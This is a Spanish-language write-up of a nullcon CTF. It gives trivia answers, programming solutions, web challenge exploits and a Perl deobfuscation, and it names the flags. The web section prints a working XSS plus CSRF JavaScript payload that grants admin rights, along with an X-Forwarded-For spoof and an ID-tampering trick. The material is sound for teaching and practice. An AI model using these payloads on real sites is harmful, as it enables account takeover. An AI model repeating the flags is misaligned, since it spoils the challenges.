Un aplauso al amijo @0verflowInside que nos ha puesto a currar con este CTF :D
Trivia
- What feature, introduced in DirectX 11, makes in-game textures appear rounder and better defined?
Flag: tesselation -
What socket was used in the first Sandy Bridge chips?
Flag: LGA1155 -
Which computer program was written in February 1991 by 3 authors?
Flag: Polyglot -
What is an emergent micro-cooling solution that operates similarly to conventional heat pipe technology known as?
Flag: nanowik -
What is the first 4 bytes in a neXT fat binary?
Flag: cafebabe
Programming
Big fib
calculate 150000th fibonacci series, and flag is sum of the alternate numbers from answers.
Nos piden la suma de los digitos impares del numero 150000 de la serie de fibonacci. La solución que acepta es el propio número:
Calculado con:
#include <gmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void add_alternatives (mpz_t *t, char *str)
{
mpz_t tmp;
char digit[2] = {0x00, 0x00};
int l = strlen (str);
int i;
for (i = 0; i < l; i+=2) {
digit[0] = str[i];
mpz_set_str (tmp, digit, 10);
mpz_add (*t, *t, tmp);
}
}
int main(int argc, char **argv) {
char *str = NULL;
mpz_t first, second, sum, count, stop;
mpz_t total;
int c = 0;
int i = 0;
if(argc < 2) {
fprintf(stderr, "./%s num\n", argv[0]);
return 1;
}
mpz_init (first);
mpz_init (sum);
mpz_init (total);
mpz_init_set_ui(second, 1);
mpz_init_set_ui(count, 1);
mpz_init_set_str(stop, argv[1], 10);
while(mpz_cmp(stop, count)) {
/* En teorÃa era ésto, el form acepta lo que quiere.
mpz_out_str (stdout, 10, sum);
printf ("\n");
str = mpz_get_str (NULL, 10, sum);
add_alternatives (&total, str);
free (str);
*/
mpz_add(sum, first, second);
mpz_set (second, first);
mpz_set (first, sum);
mpz_add_ui(count, count, 1);
if (++i % 1000 == 0) printf ("%i\n", i);
}
mpz_out_str(stdout, 10, sum);
printf("\n");
str = mpz_get_str (NULL, 10, sum);
add_alternatives (&total, str);
free (str);
mpz_out_str (stdout, 10, total);
printf ("\n");
return 0;
}
Lazy baba
gives answer once in every 4 hours.
Y un link a answer.php
while true; do echo -e "GET /challenges/programming/answer.php HTTP/1.1\r\nHost: ctf.nullcon.net\r\n\r\n" | nc ctf.nullcon.net 80 >> lazybaba.txt; done
Flag is ABRAKADABRAGILIGILIGILI
Harmony in series
So our folks wanted to work on binomial series but they understood incorrectly so they made a series of this type. If series is for 10 numbers 10/1 + 9/2 + 8/3 â¦.. 1/10 = 22.218 round to 2 decimal place = 22.21 now they did calculated this series for 31337 numbers can you help these guys in finding the number again.
#!/usr/bin/python
sum = 0.0
for i in range (1, 31337):
sum += ((31337 - i + 1)/i)
print (round (sum, 2))
Flag: 311180.65
Copy paste
no time to copy paste and what you see is not what you get.
Y un link donde se muestra una frase que vista en HTML contiene varios caracteres de escape. El objetivo era picar algo que
- Obteniese la frase
- Urldecode
- Post con el resultado
- En menos de dos segundos.
Pero:
<@ca0s> tengo unas manos muy rápidas
Web
Reto 1
La página recuerda demasiado a StackOverflow como para no recordar el owned que les hicieron hace poco. Hay un link hacia âAdmin consoleâ, pero no estamos autorizados a ver su contenido. Añadiendo un header a la petición HTTP:
X-Forwarded-For: 127.0.0.1
Escupía:
The Flag is DholuBholuareTWINS
Reto 2
Tenemos un login, y la posibilidad de crear un usuario. Una vez creado, hay un guestbook en el que podemos postear mensajitos. Solo aparece el link para ver el contenido del mensaje en tus propios mensajes, pero cambiando el ID del mensaje que quieres ver a 1:
Title: flag and Description: ChutkiisVERYcute
Reto 3
Se encontraba presente un archivo "login.phps". Contenía alguna linea interesante:
if ("Username & Password is correct"){
// Authenticated
header("Location: onepage.php");
Al acceder a onepage.php respondía un 302 Moved Temporarily, con un Location: login.php y algo de HTML, conteniendo:
The flag is JagguisaNAUGHTYbunder
Reto 4
La vulnerabilidad era un XSS en el lector de mails + CSRF en el formulario para dar acceso de admin. Los forms estaban protegidos por un token, pero éste no variaba en cada acceso. El token NO estaba presente en el lector de mails. Enviamos el siguiente payload:
<script>
if(window.XMLHttpRequest)
http=new XMLHttpRequest();
else http=new ActiveXObject("Microsoft.XMLHTTP");
http.onreadystatechange=function() {
if(http.readyState==4 && http.status==200) {
var res = http.responseText;
var a = res.split ('name="csrftoken" value="');
var b = a[1].split ('" />');
var token = b[0];
parent.location = "http://ctf.nullcon.net/challenges/web/web4/set_admin.php?user=cannabis&csrftoken="+token+"&Set=Set";
}
}
http.open("GET", "/challenges/web/web4/send_mail.php", true);
http.send ();
</script>
Y al rato, el token: BheemlikesLADDUSalot
Por otro lado, registrando el usuario admin y entrando como tal, también pudimos ver el token.
RE
Reto 1
Se nos presenta el archivo challenge.do
''=~('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('['^'.').('['^'(').('`'|'%').('{'^'[')
.('['^'(').('['^'/').('['^')').('`'|')').('`'|'#').('['^'/').';'.('['^'.').('['^'(').('`'|'%').('{'^
'[').('['^',').('`'|'!').('['^')').('`'|'.').('`'|')').('`'|'.').('`'|"'").('['^'(').';'.('`'|')').(
'`'|'&').'('.'\\'.'$'.'#'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'='.'='.('^'^('`'|','))."\)".'\\'.
'{'.('`'|')').('`'|'&').'('.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'.')).']'
.'.'.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'/')).']'.('`'|'%').('['^('*')).
'\\'.'$'.('`'^'%').('`'^'.').('{'^'-').'\\'.'{'."'".('{'^'.').('{'^'(').('`'^'%').('{'^')')."'".'\\'
.'}'.')'.'\\'.'{'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.('`'^'&').('`'|(',')).(
'`'|'!').('`'|"'").'='."'".('`'^"'").('`'|'/').('`'|',').('`'|'$').('`'|'%').('`'|'.').('`'^('$')).(
'`'|'!').('['^'"').('['^'(').('`'^'!').('['^')').('`'|'%').('`'^'"').('`'|'!').('`'|'#').('`'|"\+").
"'".'\\'.'"'.'\\'.'}'.'\\'.'}'.'"'.'}'.')');$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^"\}";
Después de un rato buscando gaticos en ASCII, empezamos a ver tetas en ASCII algo parecido a concatenaciones en Perl.
Tuneando un poco el archivo:
#!/usr/bin/perl
$A=('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('['^'.').('['^'(').('`'|'%').('{'^'[')
.('['^'(').('['^'/').('['^')').('`'|')').('`'|'#').('['^'/').';'.('['^'.').('['^'(').('`'|'%').('{'^
'[').('['^',').('`'|'!').('['^')').('`'|'.').('`'|')').('`'|'.').('`'|"'").('['^'(').';'.('`'|')').(
'`'|'&').'('.'\\'.'$'.'#'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'='.'='.('^'^('`'|','))."\)".'\\'.
'{'.('`'|')').('`'|'&').'('.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'.')).']'
.'.'.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'/')).']'.('`'|'%').('['^('*')).
'\\'.'$'.('`'^'%').('`'^'.').('{'^'-').'\\'.'{'."'".('{'^'.').('{'^'(').('`'^'%').('{'^')')."'".'\\'
.'}'.')'.'\\'.'{'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.('`'^'&').('`'|(',')).(
'`'|'!').('`'|"'").'='."'".('`'^"'").('`'|'/').('`'|',').('`'|'$').('`'|'%').('`'|'.').('`'^('$')).(
'`'|'!').('['^'"').('['^'(').('`'^'!').('['^')').('`'|'%').('`'^'"').('`'|'!').('`'|'#').('`'|"\+").
"'".'\\'.'"'.'\\'.'}'.'\\'.'}'.'"'.'}'.')');
print $A;
Se nos mostraba el resultado:
(?{eval"use strict;use warnings;if(\$#ARGV==2)\{if(\$ARGV[0].\$ARGV[1]eq\$ENV\{'USER'\})\{print\"Flag='GoldenDaysAreBack'\"\}\}"})
Flag: GoldenDaysAreBack
No hay comentarios